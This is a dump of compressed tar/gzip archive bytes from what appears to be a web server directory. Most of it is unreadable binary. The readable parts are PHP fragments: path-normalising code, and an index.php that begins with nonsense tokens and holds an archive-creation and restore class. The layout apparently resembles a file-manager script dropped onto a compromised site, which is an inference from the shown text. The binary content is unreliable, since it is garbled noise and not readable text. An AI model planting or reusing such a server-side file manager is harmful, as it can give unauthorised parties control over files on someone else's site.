$i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKj[_}o ova.tar.gznu[}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% !*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×PKj[×ova.tarnu[Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); 